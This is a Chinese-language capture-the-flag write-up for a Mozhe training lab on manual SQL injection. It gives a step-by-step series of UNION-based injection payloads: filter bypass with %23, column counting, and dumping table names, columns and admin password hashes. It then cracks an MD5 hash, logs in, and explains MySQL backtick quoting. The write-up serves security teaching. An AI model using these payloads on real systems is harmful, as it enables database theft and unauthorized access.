一、靶场信息
背景介绍
安全工程师”墨者”最近在练习搭建一个采购系统,为了安全起见,“墨者”对该系统做了部分防护措施,请你帮助他测试系统是否安全。
实训目标
1、掌握SQL注入原理;
2、了解手工注入的方法;
3、了解MySQL的数据结构;
4、了解SQL注入常用注释字符;
5、了解sql注入常用绕过姿势;
解题方向
手工进行SQL注入测试,获取管理密码登录。
二、解题
进入靶场
发现注入点
在登入下方的公告发现疑似注入点?id=1
对注入点进行测试
?id=1′ —出现报错,报错信息显示MySQL 确定存在sql注入,且数据库为mysql
?id=1‘# —正确显示,确定是字符型注入
开始注入
查询字段数(经测试,发现过滤#,使用%23替代)
id=1′ order by 7%23 //字段数为7时,显示正常
判读显错位
id=-1′ union select 1,2,3,4,5,6,7%23
显错位出现在2,3,4,5
查库名
id=-1′ union select 1,2,3,4,database(),6,7%23
数据库名为:min_ju4t_mel1i
查表名
?id=-1′ union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()%23
查到4张表,表名为(@dmin9_td4b},notice,stormgroup_member,tdb_goods
这里发现一张奇怪的表名和member表,先查询stormgroup_member表
查询stormgroup_member表的字段名
?id=-1′ union select 1,2,3,group_concat(name),group_concat(password),6,7 from stormgroup_member%23
发现name与password
查询字段内容
?id=-1′ union select 1,2,3,group_concat(name),group_concat(password),6,7 from stormgroup_member%23
得到5个账号与MD5加密后的密码
使用MD5解密网站解密,发现密码均无法使用,只能再查询其余表
查询(@dmin9_td4b}表的字段名
?id=-1′ union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='(@dmin9_td4b}’%23
发现敏感字段username与password
查询字段内容
?id=-1′ union select 1,2,3,group_concat(username),group_concat(password),6,7 from (@dmin9_td4b}%23
出现报错,原因为此表名存在特殊符号 ( 、 } 等,所以需要在这个表名处增加反引号`,用于说明反引号内是一个表名或列名,这样来保证输入语句时,识别到正确的表名为 (@dmin9_td4b}
添加反引号
?id=-1′ union select 1,2,3,group_concat(username),group_concat(password),6,7 from `(@dmin9_td4b}
`%23
查询到另一组账号密码,经测试
mozhe3 : efa8b266b6314554cb47ca896043ded5 为正确账号密码
解密后密码为580629
登录后台
成功拿到KEY
三、mysql反引号
` 符号是 MySQL 的转义符,避免和 mysql 的本身的关键字冲突,只要你不在列名、表名中使用 mysql 的保留字或中文,就不需要转义。
所有的数据库都有类似的设置,不过mysql用的是`而已。通常用来说明其中的内容是数据库名、表名、字段名,不是关键字。
例如:
select from from table;
第一个from是字段名,最后的table表名,但是同时也是mysql关键字,这样执行的时候就会报错,所以应该使用
select `from` from `table`;
当然,为了便于阅读,不建议使用关键字作为字段名、表名,同时,应该对数据库名、表名、字段名用一对儿反引号包含。